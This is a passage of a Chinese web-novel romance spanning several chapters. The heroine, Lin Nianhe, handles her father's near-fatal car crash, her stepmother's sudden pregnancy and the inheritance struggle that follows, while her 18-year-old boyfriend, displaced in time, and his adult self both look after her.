阳台落地窗微敞,柔和的清风钻进来,吹过她的鬓边。于此同时,林念禾听见自己的心跳声。 少年和成年的霍锌在眼前重合,昨晚抱着她的人也用这双一模一样的眼睛俯在自己的身上,一边擦去她的眼泪,一边颇有耐心地做着aftercare。 长久的安静中,小霍先一步移开了视线。 他垂眸,目光落到那张纸质试卷上,工整的印刷字体使自己的体温稍稍降下来一些。 如果林念禾这时候剥开他的衣领,会惊讶地看见他红透的皮肤。 脑海里,昨晚的梦境反复上演。小霍深吸口起,索性趴到茶几上,脸贴着表面,汲取冰凉。 他真没想到自己居然已经龌龊到这个地步。 是最近亲太多了吗? 可是以前做这种梦,也不会梦得如此详细,连林念禾大腿内侧的红色胎记都看得一清二楚。 他不知道她那块地方有胎记。 小霍猜想可能是自己的某种隐藏癖好,导致大脑生成画面时,自动添加上去了一块胎记。 他把脸埋在胳膊里,异常苦恼。 这时,一只手伸过来,挠了挠他的头。 林念禾正看着试卷,右手握笔,空出来的左手就跟摸狗似的,顺着他的发根,自上而下地抚摸他的后脑勺。 说实话,十八岁的小霍比二十七的霍锌,头发要长一点点。 手感更像她的狗儿子。 被摸的人,身体顿时僵硬。心里有股声音拼命喊着停下,可他的嗓子却像哑了一样,停滞在原地发不出任何声音。 那些许微不足道的肌肤相贴,对小霍来说像是饮鸩止渴,躁动不安的心在胸腔里跳动得愈发厉害。 他喉结动了动,伸手去拿林念禾刚才喝过的水杯。灌下一大杯温水后,才觉得有所缓解。 林念禾的手还留在他的发根处,她一目十行地把三科的大题都看完了,倒回去打算从物理大题开始讲。 顺手抓紧他的头发,就像昨天晚上霍锌兴奋过头,舌尖舔舐某块后,她控制不住地抓着他后脑的短发希望他能停下。 力道并不大,恰好唤回小霍的注意力。 如果是平时的他,这时大概会觉察出什么不对劲。可惜两个人都藏着心事,没人发现彼此的异常。 林念禾拿笔点着题干,问,"这题你写出来了?" "写了。思路有,但是计算结果不知道对不对。" 话题回到正规上,两套试卷讲完已经是半小时后。数学试卷他错的并不多,只有最后一题选择题没什么思路。 林念禾捏着笔杆,想起昨天他送江予州回家,到家后两个人没一个给她发消息,不放心问道: \"昨天你没和他吵架吧" "没有。"他淡淡道,"很关心他" \"……\"她瞬间闭上嘴,不想问了。 苍天可鉴,她只想知道江予州去医院有没有检查出什么问题。 怎么到他嘴里,好像她马上要跟前夫哥复婚似的。 如果真的复婚,她一定会请他当花童。 两份试卷被小霍折好收进去,他扭头想跟问她晚上能不能一块吃饭。因为楼上那个老男人天天待在公司,把公司当家,留他一个人吃饭很孤独。 小霍不明白,怎么会有人这么爱工作,加班不归也就算了,居然周六周日也要出差。昨天晚上好像也是一晚上没回来,因为自己起床上学时,在门口看见了那双放在鞋柜上摆放整齐的拖鞋。 怪不得他没老婆。 怪不得他没发现自己和林念禾的私情。 不对,他们不是私情,是合法的男女朋友。反正在他的记忆里,自己压根儿没跟林念禾分手,只不过是莫名穿到九年后,女朋友多了一个丈夫。 林念禾坐着无聊,拉过旁边的零食小推车,在里面翻找几下,找到自己喜欢的虾条后,扔了一包给小霍。 正要撕开包装,旁边的少年突然凑过来。 她朝右侧躲了一下,"干嘛" 小霍用食指和拇指小心翼翼地掐住她的睡衣领口,往外扯了一下,锁骨往下有块地方若隐若现的红。 他视线不敢乱瞟,生怕往下看见什么不该看的。只盯着那块地方,奇怪地问,"你这是过敏" 林念禾迅速扒开他的手,恼羞成怒骂道,"你变态吧,掀我衣服。" 她昨天晚上临睡前,确认过霍锌没有在自己身上留下痕迹。那这块锁骨之下的红痕,八成是他偷偷趁她睡着后,留下的。 他是狗吗。不让他留印迹,他居然偷偷摸摸地留了。 "骂我干嘛?"小霍有点委屈,"你也没少摸我啊。" 平时接吻,他手一向规矩。青春期里的男生,和女朋友不接吻,仅仅待在一块儿,也会乱摸。 小霍不太喜欢这种行为,在他的意识里这像被激素控制的动物,一味地趋于本能想要发泄性需求。 换到林念禾身上,他又是一套评价标准。 接吻的时候,她会勾着他的脖子,一只手撩起上衣下摆,顺着青筋脉络抚弄。 这不是激素上头,是林念禾喜欢他。女朋友喜欢摸,他当然要给她摸。 "对不起。"林念禾拢好衣领,跟他道歉,"可能是被蚊子叮了一口,我等会儿去涂点花露水。" "家里有蚊子" 她面色不改,"有,卧室里有一只,我听见它叫的声音了。" "我去看看。" 说着,他就要起身往她卧室去。 林念禾眼疾手快地拽住小霍,"我内衣还在床上,你别进去。" 他耳朵腾地一下红了,尴尬地坐回去。 半晌,客厅里静悄悄的。 一个在庆幸自己反应快,拉住他没让他进房间。另一个则在尴尬害羞…… 电话是在这时响起来的,刺耳的原始铃声打破平静。 林念禾思路被截断,抬手去拿手机。 来电显示是一个陌生号码,她顿了顿,指尖滑动,接通。 对方语速很快,焦急道,"林总,老陆总出车祸了,麻烦您快点来医院一趟。" "车祸" 她的声调不自觉提高,不可置信,"情况现在怎么样?" "不好说。"来电人支支吾吾,"医生说有点危险。" "行,我知道了。地址发给我,我马上就到。" 电话挂断,林念禾把手机一扔转身去卧室换衣服。她速度很快,一边整理衣服,一边往玄关去。 等换好鞋,林念禾转头看见跟在后头一副准备好要出门的小霍。 速度比她还快…… 她上下扫了两眼,欲言又止。最后想到万一出点事,他还能帮她抗两下,就随他去了。 陆建林被送进市里最好的一家私人医院。林念禾停好车,原本急匆匆的步伐忽而顿住,靠在车边给苏荥打电话。 那头苏荥接的很快,"林总。" "来爱尔医院一趟。"林念禾沉稳道,"对了,让公司公关部今天晚上加个班,加班费翻倍算。" "出什么事了?" "我爸出车祸了,你记住,消息要封锁好,一点都不能泄露出去。我现在已经在医院了。" 她话语顿住,忽而看见某个熟人,"算了,你在公司等着吧。" 要是陆建林情况严重到今天晚上都撑不过去,她和苏荥这几天也别想睡觉了。 老登可以死,但是应该死得让她没有负担。 嘎嘣一下,撒手而去,她现在连股份都没有捞到手。公司里一群妖魔鬼怪不得把她撕成一块一块的,拆吃入腹。 那位熟人恰好也看见她了,踩着皮鞋走过来。 林念禾笑了下,"弟弟,消息挺快啊。我爸把你们家都赶出陆氏了,还腆着脸回来做什么?" "我是真没想到,做人能厚脸皮成这样。" 陆烨甸比上次见面要沉稳许多,没被她激怒,意味深长地扫过她身侧的少年,"来医院还带着外人,兴致挺好。" 他在看清小霍的脸后,震惊一瞬,很快恢复正常,另有所指说,"长得倒是特别。" "废话有点多了,弟弟。"林念禾懒得跟他虚与委蛇,"说话找不到重点,我建议你去脑科挂个号看看。" 第68章 第68章破碎的她,要死的爸,住…… 一场拌嘴并没有比出输赢,林念禾总觉得哪哪不对劲,陆烨甸的嘴脸有种势在必得的小人得志感。 她并不觉得自己的傻爹能在临死前改遗嘱,将陆氏分给侄子。陆建林太自私了,自私到不允许有别的血脉染手他辛苦打拼下来的家业。 因为他不能接受给别人养孩子,不能接受流着他人血脉的后代承受他的庇荫。 她本以为自己会很高兴,毕竟林念禾等这一刻已经等了快二十年。 可越靠近手术室,她的心居然开始变得紧张。手心不自觉攥紧,呼吸放沉。 手腕忽然被人摸了摸,林念禾偏头去看身边的小霍。 后者递给她一个安抚的眼神,他看出来这时的林念禾很紧张。 奇怪的是,她的紧张真的有所缓解,深呼吸两下后,高高悬挂的心渐渐平复下去。 手术室外, 聚集了很多人,林念禾扫了一眼,除了保镖,里面还有几个年长的陆家长辈。 先前给她打电话的宋特助见她来了,上前说道,"陆总还在里面抢救,您先休息一会儿。" "怎么出的车祸" 他脸色一变,看了看周围,压低声音,"老陆总今天非要去城外的某个寺庙,他不愿意让司机开车。您知道他腿脚不好,肯定不能自己开车。" "所以是夫人开的车,当时前方高速路上一辆面包车司机刹车失灵,夫人没躲开撞上了路边。" 宋特助停顿了下,神情复杂。 林念禾瞄他一眼,"车祸有问题?" 豪门里争权夺利到杀人夺财的,也不在少数。只不过他们会做的更体面些,更深藏不漏。 "不是,是夫人……" "温姨受伤严重吗?" 宋特助回道,"夫人只是擦伤,医生检查过,轻微脑震荡,已经在转进了普通病房。" 一个进了抢救室,生死未卜。 一个轻微脑震荡,生命无忧。 她忽而想笑,碍于一大家子人在场,笑出来显得奇怪。林念禾整理了一下表情,"警察那边,肇事司机抓到了吗?" "司机当场死亡,他们现在在查监控。" 宋特助想起什么,提醒,"夫人刚做过检查,现在在妇产科。" 林念禾瞬间明白了他的暗示,心中那个猜想隐隐跃出水面。 陆烨甸用极高的嗓门,唱大戏似的说,"姐你先去看看温姨吧,万一咱弟弟有什么事,大伯在手术室里也不会放心。" 遍体生寒,浑身如同坠入冷窖。 林念禾思绪如同一团乱麻,逼得她没法思考。 怎么会呢,陆建林早就没有生育能力了。这个孩子又是从哪冒出来的。 她看了眼宋特助的表情,这个陪在她爸身边工作将近二十年的中年人,此时此刻表情严肃,没有半点玩笑的意思。 陆建林确实在她不知道情况下,偷偷背着她去给她弄了个弟弟出来。 她都不知道该笑,还是该哭。 世界终究是发癫了。 一个早在十年前失去生育能力的男人,居然奇迹般地恢复了。 林念禾深吸了口气,手微微发抖。 方才的悲伤被一股巨大的耻辱替代。 她居然在五分钟前,对陆建林生出了一丝不忍之情 "我先去看看温姨,我爸这儿就先麻烦您了。" 林念禾维持最后一丝理智,礼貌地对宋特助道谢。 "还有,麻烦把多余的人清一清。" 话落,几个保镖顺着她的手指向方向朝陆烨甸去。 他在这些身强力壮的保镖面前,跟个小鸡崽子似的,毫无反手之力被押着前往电梯。 因为怕他大喊大叫,其中一个大哥还贴心地捂着陆烨甸的嘴,不让他发出一点声音。 林念禾转身去楼下的妇产科病房。 躺在抢救室里的人不会说话,可楼下在妇产科的vip病房里躺着的,怀着她同父异母的弟弟的女人会说话。 理智渐渐回笼,巨大的情绪起伏之后,林念禾透过电梯内壁看见自己的脸,冷漠,毫无情绪。 她现在只想看看陆建林的那份遗嘱,继承人的名字是否写的还是自己。 叮咚,电梯下行到既定楼层。 迈出电梯的那刻,小霍拽住她的手腕,"别怕。" 她抬头望他,后者神情认真,"天塌下来,还有我。" "我做不到,霍锌能做的到。\" 林念禾盯着他静静看了一会儿,若无其事道,"你知道我现在在想 什么吗?" 他疑惑地抬眉。 "我在想能不能让他直接去火化。"林念禾边往病房走,边说,"如果我烧的够快,我那个还在羊水里的弟弟就没法儿和他做亲子DNA,他就不算我弟弟。" 当然这是她个人的想法。法律上,即使亲生父亲去世,私生子可以和直系亲属,比如同父异母的姐姐,亲生父亲的弟弟哥哥,做DNA鉴定,再结合聊天记录或者其他证据,同样可以证明亲子关系,并合法享有继承权。 更何况,温诗肚子的那个不是私生子。 单人病房, 林念禾敲了敲门,里面传出来一道熟悉的女声。 她推门进去。温诗靠在床头,手里翻着一本书,黑发垂在肩侧,如果忽略她穿着的病号服和手背上的吊针,画面美好的如同一副欧洲油画。 温诗看见她,笑了笑,"你来了。" 她像是早早料到林念禾知道消息后会第一时间来找她,一手隔着衣物轻轻抚摸着自己的小腹,一边合起书页。 "坐吧。你爸他还好吗?" 林念禾挑了个板凳坐下,小霍没有跟着她进来,而是守在门外。 "你们一起被救出来的,你难道会不知道他的伤势" 她撩眼看向这位相处已久的后妈,眼里毫无情绪。 一起车祸,一个重伤,一个擦伤。 抛开微乎其微的运气,剩下的要么是陆建林豁出性命在撞车的前一秒护住了温诗,要么就是温诗故意把方向盘往副驾驶方向打,不顾陆建林的死活全力让自己受伤最小。 她当然更倾向于后者。 过去的几年里,陆建林没把她当妻子,更多把她当成一个买回来的花瓶,想怎么样就怎么样。二者要是在这种情况下,还能恩爱如漆,那才是见鬼了。 至于肚子里的孩子,绝对不可能比自己的命重要。 陆建林还不至于因为这个还没显怀的胚胎,把自己的命丢了。 温诗穿着的病号服已经是医院的最小号,套在她身上却依旧大了一圈。 她身体后靠,腰部贴合枕头,神色隐隐疲惫,"我不知道,我当时晕过去了。你看,我的头还因为撞到方向盘,磕破了一小块。" "温姨运气好,可我爸就没这么好的运气。" "你爸这么多年,一直做着公益,也不会有事的。" 林念禾意味不明地笑了下,"这么说在您心里,我爸是个好人" "好不好人重要吗?"温诗叹气,"我们做了这么些年的夫妻,我当然不希望他有事。" 说话说的滴水不漏,一点恶意都没显现出来。她是个好演员,连脸上的微表情都控制的很好。 如果真的对陆建林有感情,也不会直接让他落得个要死的下场。 林念禾点点座椅扶手,冷不丁发问,"你怀孕多久了?" 温诗表情温柔,和风细雨,"刚两个月。" 羊水穿刺需要16周之后才能做,按照温诗的身体情况,这个孩子能不能活到16周都不好说。 可她不需要这个孩子活下来,她只是想在这场遗产分割中以此为筹码多获得一些东西,足够让她富足地活完下半生。 她当然知道对于林念禾,这个孩子,就像个定时炸弹,一不小心就会炸得她人财两空。 "我希望它能是个女孩,跟你一样漂亮聪明。"温诗对上她的眼睛,"姐妹之间的感情也会比姐弟好很多。" 林念禾没说话,看了她一会儿。 这话可以当作挑衅,也可以视作温诗的示好。 毕竟就算这个孩子现在足月,生下来后也需要十八年才能长大成人。 而楼上的陆建林指不定哪一秒就咽气了。 陆家的亲戚朋友都是一群豺狼,先前仗着陆建林的权势生活,当这颗大树倒下后,他们第一时间会毫不犹豫地朝温诗扑过来。 公司里的董事也不是善茬。 她当然可以带着孩子换个国籍远走高飞,可那样得到的就会少很多。 林念禾在心里盘算一圈,站起来,替她捻了捻被子,"温姨您好好休息,老宅那边的人等会儿就来照顾您。" 她一字一句道,"您现在怀着孕,一定要照顾好自己。" 温诗的笑难得僵了下,"谢谢。" 病房门被带上,小霍靠在门口,看她脸色差得离谱。 "很麻烦" "你说买凶杀人是什么步骤" "" 他眼里满是惊愕,握住她的手腕,"你不能为了那几个烂人,毁掉自己。" 她沉默一会儿,像是真的考虑二者的利弊性,"算了,不如把陆建林直接火化来的快。" 林念禾瞧见他严肃的表情终于心情好受了一点点,本来就是逗他玩的,于是牵着他的手走向电梯。 临到电梯口时,她眼尾一扫,拽住他往旁边的门后去。 私立医院病人不多,楼道里,小霍后背紧贴着墙壁,他垂着眼,安分老实地任人宰割。 林念禾本来不想做什么的,推他进来本来是想让他分析分析温诗怀孕这件事情。 结果他就这么乖乖地看着她,看得她心里直发痒。 跟霍锌那种装乖的眼神不同,他是真的乖。因为年岁尚小,不知道怎么安慰她,于是破罐子破摔,随她便。 仿佛她下一秒,让小霍跪在地上舔她,他都能扑通一声跪下。 林念禾踮起脚尖,注视着他好看的唇形。两道呼吸渐渐重合,他的手放置她的腰间。 她看了一会儿,"宝宝,你怎么这么乖" 原来当年她和十八岁的霍锌谈恋爱时,自己吃的这么好。 小霍的耳垂瞬间红得滴血,他想躲开她的视线,结果被林念禾伸手掰着下巴,牢牢控制在原地。 或许是因为和霍锌做了,所以她今天对小霍的疏离感就少了很多。 天杀的,他哪听过林念禾管他喊宝宝。 两个字,像是电流透过指尖一路传达到大脑皮层,酥麻感从生理到心理,席卷过每一处。 他眼睫颤了颤,很想亲她,想抱紧她,直到两人的骨血合二为一。 但他没有那样做。 小霍硬生生克制住那股冲动,回答,"因为你喜欢这样。" 他能为林念禾克制本能,约束自己,剔除那些让她不适的,来源于自己基因里的恶劣品性。 她喜欢,他就会成为什么样子。 鼻尖相触,小霍的心随着即将落下的吻高高挂起,像漂浮在海面的木板,只等远处海浪的扑袭。 唇瓣刚贴上,手机铃声倏地响起。 林念禾撤回去,摸了摸自己口袋里的手机,发现不是她的电话在响,转眼看向小霍的手机。 明亮的屏幕上,一串电话号码上方,是个偌大的三个字备注:"不要脸" 她猜不出这个备注。 小霍清了清嗓,接通电话,声音有一点不明显的哑。 "你来了吗?" "在医院门口。" "那你先过来。" 寥寥几句,通话结束。 他跟林念禾解释,"霍锌。" "你给他打电话了?" “怕你受欺负,总得有个冲锋陷阵的。” 林念禾抬手把鬓边的碎发拢到耳后,没反驳。 这时候,确实需要霍锌的资本为她助力,替自己在谈判台上争夺家产。 被打断的吻,也继续不下去了。 一想到某个成年版正在医院门口,而自己压着十八岁的接吻,她就有种违背世俗的感觉,总觉得这样的自己人品差差的。 得改天去贺渺那儿接受一番洗涤。 林念禾拉着他离开楼道间,改换电梯上楼。 走廊里的人比她离开之前又多了不少,有生面孔,有熟面孔。 在看见她后,纷纷投来目光。 每个人各怀目的,眼里深处看不见悲伤,包括她这个亲生女儿,全然都是怎么算计别人。亦或者要改投哪个阵营,确保改朝换代后,自己还能从中获利。 林念禾想,这大概也是陆建林的报应。 健康的时候从来没用真心对待过别人,所以现在也没人真心实意地替他感到难过。 宋特助上前,跟她介绍来的众人,末了,体面道,"他们都是关心老陆总的情况。" 林念禾嗯了一声,抬眼看向那位股权第二的董事会成员。 按照她的辈分得管对方喊一声陈叔 叔。早前他和陆建林一起打拼,所以积累到今天,除开陆家,他手里握着最多的股份。 陆建林手里的股份一旦稀释,对方或许会摇身一变,变成第一股东。 她一一上前打招呼,有些年纪大的,都派人送回家。安抚完一圈众人的情绪后,自己累得连一句话都说不出来。 林念禾坐在医院的长椅上,她低眼沉默地看着医院地砖的瓷缝。 直到视野里出现一双男士皮鞋,林念禾顺着裤脚往上望。 那一瞬,她看见霍锌眼里数种情绪交织在一起。 有心疼,有生气,更多的是藏在眼里的爱。 "吃饭。" 他赶过来时,猜到林念禾肯定没空吃饭,于是让家里阿姨准备了两份送过来。 她接过他手里的打包盒,浓郁的饭菜味道冲淡鼻腔内的消毒水气味。 霍锌帮她打开,将筷子递给她,"先吃饭,吃完再说。" 另一边小霍坐到她的身侧,捧着同款饭菜,罕见地没出声呛他。 四个小时后, 手术结束,陆建林被转进icu病房。医生下了一张病危通知书,并告诉她,手术很成功,但术后颅内感染的可能性极大,他的情况不太好,很有可能挺不过今晚。 林念禾隔着重症室的玻璃,远远地看了他一眼。 插着管,连着呼吸机和各种各样的生命检测仪器。如同一段枯木,灰败苍白。 前几天还活蹦乱跳,有力气地骂她孽女,劝她不要吊着霍锌。短短几天,就倒下了。 她不想在医院过夜,又等了一会儿后,就回家了。 林念禾到家就开始给苏荥打电话,公关部新写的稿子她一一都过目了,写的都一般,不够煽动群众。 通稿的重点在于大肆夸耀陆建林的无私,作为民营企业家,在改革开放中,率先以身士卒。良心企业家,出身草根,一脚一步地发展企业。 她一边在阳台来回走,一边说,"我爸前几年不是从拍卖会上高价买了个文物回来,捐给博物馆,你让他们写几个关于这个的稿子。到时候别用官号发,找水军,尽量装的像点,也别整多,舆论起来了,就见好就收。" "辛苦你们了,财务部门那边今天的加班费按五倍算。" "没事,我情绪还可以。" 等通完电话,林念禾接过霍锌手里的水杯,喝了一口水。 他瞧她的脸色,"睡会儿?这里有我看着。" 她从医院回来就没打算睡觉,今天晚上肯定是不能睡的,陆建林如果真的挺不过去,她要第一时间赶到医院。 神经过于紧绷,林念禾连笑都笑不出来。 "我去洗个澡。" 小霍坐在沙发上,霍锌站在阳台处,两道视线静静目送她进浴室。 两人对视一眼,很快移开。 林念禾的状态很不好,差到极点。 不仅她自己感觉出来了,他们也发现了。 浴室里, 浴缸放满热水,她的身体缓缓沉下去。像回道最初的母体,被羊水包裹的时候,温热的液体环绕着她的身躯,身体的疲惫渐渐舒缓开。 迟来的负面情绪,几乎如同潮水般将她淹没。 这个状态她很久没经历过,在当初霍锌出事假死,林母去世,她也是这么过来的。 时常泡在浴缸里,一泡就是两个小时,直到水温变凉,体温下降,皮肤泛着不正常的白。 她闭上眼睛,脑子里全是白天医院走廊的画面,反复播放,每个人脸上的盘算都让她恶心,包括她自己。 自我厌弃的情绪一但出现,她就控制不住地想要发抖。 很小的时候,陆建林抛弃了她。 因为她是个女孩,而不巧和她争吵摔下楼梯的那个小三肚子里是个成型的男孩。 彼时的陆建林还没有失去生育能力,他有钱有脸,生意越做越大。他坚信自己除了林念禾还会有其他的孩子,只是一个女孩,不重要的,抛弃就抛弃了。 哪怕这是他的第一个孩子。 所以她躺在病房里,听着父母站在门外大声争执。 母亲哭着骂,他不是人,连自己的孩子都不要,向着小三。 陆建林说,哪怕林念禾死了,也换不回他的儿子,所以他不懂林母在哭什么。 今天,陆建林在抢救,宋特助告诉她温诗怀孕。 他又一次抛弃了她。 困意一点点入侵大脑,林念禾再次睁眼时,自己正被霍锌捞出来。 他拿着浴巾一点点擦拭她的身体,不带任何杂念。 "我睡着了。" 霍锌拿过另一条干净的浴巾裹住她,把她放到洗手台边,"很累的话就先睡一会儿。" 吹风机嗡嗡作响,他动作轻柔地开始替她吹干湿发。 林念禾翘着脚,想起外面的小霍。 也不知道他怎么同意霍锌进来的,估计两人现在达成了某种停战协议。 霍锌关掉吹风机,摸摸她的发顶,确定头发吹干后,抱着她出浴室。 他把她塞进被窝,自己睡在一侧,跟哄小孩睡觉一样,拍着她的后背,"睡吧,电话来了,我会叫你。" 因为在浴室里睡了一觉,她不困。 睡眠是削弱负面情绪的最好方式,虽然有专家说这样容易神经衰弱。 但林念禾的心情比之前要好了一点点。 她想,这个世界上是有人爱她的。 "你们怕我在浴室里想不开" 霍锌拍着的手停顿一刹,下意识否认,"没有。" "你在浴室待太久了,我猜你肯定是睡着了,怕时间久了会感冒,所以进去把你抱出来。" 林念禾闭了闭眼,仰头盯着他,突然发难,"你知道你出车祸后,我怎么过来的吗?" 第69章 第69章苦肉计 这个话题好像从来没有在他们之间提起过,两人默契地忽略掉了过往,假装那些破事不曾发生,仿佛横在中间的只有分手和被甩。 破镜重圆的步骤是将两块碎掉的镜子试着捡起来,拼装在一块。可能严丝合缝,也可能尖端对尖端,再次扎得对方从内里到外表都血淋淋的模糊一片。 霍锌清楚的知道,自己现在应该顺着她的话将往事重提,彼此坦诚。 毕竟自己的假死让林念禾吃了很多苦,流过很多眼泪。 即使这份死亡,是在他无意识时由外祖父一手操作。 无形的大掌好似扼制住他的咽喉,令他无法发出一点声响,愧疚像团寒湿的影子从四面八方而来,裹着他,逼得霍锌呼吸困难。 “一开始挺不敢相信,前几天摔门放话跟我说分手的前男友突然躺在救护车上,没了呼吸。” “贺渺拉着我,不让我往前去。她被我缠的没办法,就上前隔着警戒线,遥遥看了一眼,然后告诉我那就是你。” 林念禾声音很轻,听起来疲惫,“我一点都不想为你难过,因为你对我一点都不好。每天管东管西,还老是神经兮兮地觉得我不喜欢你。” “后来想着,你年纪轻轻就没了,怪可怜的。妈妈说,去世的人如果不被人挂念,没有人去祭拜,会变成一直飘荡在人间不能投胎的野鬼。所以我就勉为其难的想着你,谁让我心好。” 霍锌微微将她抱紧,声音沙哑的像是在石烁中滚过一圈,嗓子发涩,“坏人该下地狱。” 他对她那么不好,早该下地狱的。 她沉默了一会儿,“我舍不得。” 四个字犹如千斤重锤砸在他的心口,撕裂霍锌的每块心肺,疼痛让他接近失语。 他醒来的第一秒就是想去找手机,给她发消息,说自己有多畜生,有多坏,居然敢跟她提分手。林念禾应该罚他下半辈子给她当牛做马,同时没收人权,做一条不会咬人的乖狗。 那部接近一年没有使用过的手机被下属送到他的手上。开机完成的刹那,三天前的消息跳了出来。 是林念禾的消息,很短,五个字:我要 结婚了。 刺耳的噪音倏地穿破耳膜,霍锌失去意识的前一秒,听见医护的脚步声,很多人在说话,声音嘈杂凌乱。 因为看见前女友要结婚的消息,情绪激动到进抢救室抢救,放眼全球都找不出第二个。 霍锌再次苏醒后,就冷静下来了。 他派人去调查和林念禾结婚的那个男人,结果等来的是他们的婚礼视频,还有一份在普通人里称得上优秀的简历。 江予州不仅有体面高薪的工作,长得好看,还是个没谈过恋爱的母单。偏偏就是这么个母单,跳过恋爱,跟林念禾认识一周后结婚了。 下属发来的婚礼现场视频里,林念禾挽着他的胳膊,穿着一层又一层的厚重婚纱,笑的明媚动人。 如果视频里的人不是他老婆,霍锌看完后,也许会发自内心地祝福一句他们百年好合。 他捏着遥控器,躺在病床上,面前的一百英寸大屏上反复播放着婚礼视频。 霍锌嫉妒得心开始绞痛。同时,国内的下属开始每天跟他汇报林念禾的日常生活,比如两人今天一起出去吃了晚饭,江予州牵了她的手。他们一起买了一张更大的床,搬回新居。 那段时光,于他来说,异常灰暗。 晚上做梦都是林念禾牵着江予州,站在他跟前冲他说:"幸亏你死了,不然我也不能遇见江予州。" 回国后,他又像只阴沟里的老鼠,故意躲在角落,窥探他们的幸福,暗中期待和她再次相遇。 没成想,重逢的那天,林念禾的婚戒先一步滚到他的脚边。 那是她和其他男人的爱情象征。 冰冷的金属贴着指腹,他甚至分不清是嫉妒多一点,还是恶心多一点。 林念禾说着说着困意渐渐上来,眼皮阖起,手很顺畅地钻进他的衣摆,摸着腹肌,警告他,"别以为你在我心里有多重要,我只是心软,换成别人我也会这样做。" 他静静地看着她呼吸放缓,陷入睡眠。 霍锌清楚怀里的人在嘴硬。她那时肯定比现在难过一百倍,说不定也会泡在浴室里,直到水温变凉。 不知道过了多久,林念禾彻底睡熟。 黑暗中,只有床头留着一盏昏黄的灯。霍锌单手拍着她的背,像妈妈一样耐心地哄着三岁小孩睡觉。 平心而论,他没有因此激生出几分母爱。反倒是林念禾,手里攥紧他的衣服,恨不得头埋进他的胸前,汲取安全感。 他去捞自己放在床头柜上的手机。凌晨一点,不止霍锌毫无睡意,他的下属同样没有入睡,等待老板发令。 早在接到电话的路上,霍锌就做好了最坏的打算。 他老婆盯了那么久的东西,如果能在自己眼皮子底下白白送给别人,那他和废物没有任何区别,不如直接去死。 手机倏地亮起,电话进来。 霍锌眼疾手快地摁掉电话,下意识低头看了看林念禾。她好像被声音吵到,眉毛皱在一块,不安地将脸埋进被子里。 确认没被吵醒,霍锌放轻动作,下床走向浴室。 浴室门被阖上的瞬间,上一秒还趴在床上一动不动的人,下一秒弹射坐起。 隔着一层磨砂玻璃,霍锌修长的身影模糊投射到门上。 林念禾抱着被子,两只耳朵恨不得趴到门上偷听。 没办法,她一个人收拾不了陆氏的烂摊子,也不敢去赌陆建林会不会看在自己为了陆氏忙前忙后那么久的份上,良心发作,从手心漏点公司的股份给她。 毕竟陆建林没有良心这个东西,但凡有,就不会在当年的病房外想拿她去换流掉的私生子。 在零持股的情况下,争夺公司话语权,光是二级市场收购百分之五的散股触发举牌,林念禾就累得够呛。她前二十七年过着普普通通的生活,上学时兢兢业业,迈入社会后当着社畜,拿着固定年薪,过着无房贷车贷的幸福生活。 当然一口气拿不出好几十个亿,跟他们玩股权争霸的游戏。但是霍锌可以,他不仅能玩,还玩的很溜。 陆氏现在于外人而言,就是一块沾着糖霜的大饼。大饼不是一般人能吃下的,胃口小的轻易尝试,多半会被活生生噎死。 她不太清楚霍锌手里到底握有多少资本,能不能啃下陆氏。感情在金钱面前,脆弱的不堪一击。纵使知道他做梦都想复合,林念禾还是惴惴不安。 给前女友花砸几十上百个亿就为了让前女友继承家里的公司,这简直就是鬼扯。 翻拍成电视剧,都会有观众路过忿忿不平地骂上一句死恋爱脑。 之前特意让人换了隔音效果好一点的门,以至于她现在恨不得趴在地上,贴着浴室门底缝隙偷听。 林念禾一边在心里发誓,明天就把门换掉,一边坐在床上竖着耳朵听里面的动静。隐隐约约听见百分之五,股份,钱不是问题之类的话,高悬在半空的心才微微落下。 她平躺回去,闭上眼。 先前昧着良心说的那些好话,果然没有说错。霍锌选择帮她,并且在替她谋划如何争夺公司话语权。 躺着躺着,正当她睡意真的快要淹没过大脑。浴室门轻轻被打开,身侧的床陷下去一块。 霍锌重新将她搂进怀里,不知道从哪儿摸出了一套睡衣换上。 安静的卧室里,他突然叹了口气。 林念禾顿时瞌睡全飞。 什么意思 他发现她装睡了,还是发现她用苦肉计了? "好好睡吧,一切有我。" 他声音低低的,贴着她的耳畔,像是自言自语。 林念禾僵着身体,装出熟睡的样子,往他怀里钻了钻。 "婚纱很好看,你们的婚礼办的不错。"霍锌莫名说了这句话后,就不再说话了。 房间里安静到落针可闻,林念禾一边放松下来,一边回忆自己什么时候给霍锌发过婚礼请帖,不然他怎么知道自己和江予州的婚礼是什么样子。 难不成是她给他烧纸时,夹带了一张请帖 第二天, 林念禾醒来时,床畔早已冰凉,剩她一个。 陆建林熬过了昨晚,目前还在重症监护室里插着管,喘着最后一口气。 简单回复完工作上的信息,她揉了揉脸,爬起来洗漱。 等她踩着拖鞋到客厅时,两个男人早已经坐好位置。 因为嫌弃对方,哪怕是同侧吃饭,不经意看见那张相同的脸也会被恶心到毫无食欲。所以他们默契地一人选了一侧,坐在彼此的斜对角方向,以确保停战期间和谐相处。 早饭被阿姨端上桌,两人听见脚步声,不约而同朝她望去。 林念禾顶着他们眼里的期盼,不自觉头皮发麻的往后退了一步。 昨天晚上,因为霍锌那句模棱两可的话,她到现在都没有想明白他是什么时候看见自己的婚礼。 总不能这狗东西当初从大洋彼岸偷偷跑回来,站在酒店门口偷窥她的婚礼。 三方僵持了一段时间,林念禾赶在他们出声前,率先坐到小霍的旁边,霍锌的对面。 很好,端水端的相当平。 第70章 第70章叫的挺开心 这顿早饭吃得前所未有的和谐。 一大一小的两个男人,除了在她落座后表露出细微的变化,其余时间要么在跟林念禾说话,要么就是喝着粥不说话。 相较于霍锌,小霍对于陆建林的记忆更要模糊一点。他不好擅自开口安慰林念禾,于是昨晚才睁一只眼闭一只眼地把霍锌放进屋里面去。 他对自己的人品多少了解一点,霍锌还没有混蛋 到能对这种情况下的林念禾下手。 结果一直等他在沙发上抱着枕头睡过去,也没看见这狗人从主卧出来。 想到这,他意味不明地看了对面的男人一眼。 后者神色平静,问林念禾,“等会儿去医院还是去公司?” “医院。” 她握着瓷勺,“医生说他还没脱离危险期。” 昨天晚上光是抢救,就折腾了好几回,心率极速下跌后又恢复,反反复复数次。她觉得人的命再硬也只能硬到这份儿上了。 有些话不能说的太明白,但大家都心知肚明陆建林只剩下这几天的时光。 她身为女儿,总要表现出点悲伤和挂念。 吃完饭,林念禾收拾好,往玄关走。 小霍立在她的旁边,看她换鞋,语气有点消极,“我不能跟着去吗?” 他靠着墙壁,眼皮下耷,几簇碎发乖顺的趴在额头前。 霍锌早在三分钟之前就下楼去车里等她了。 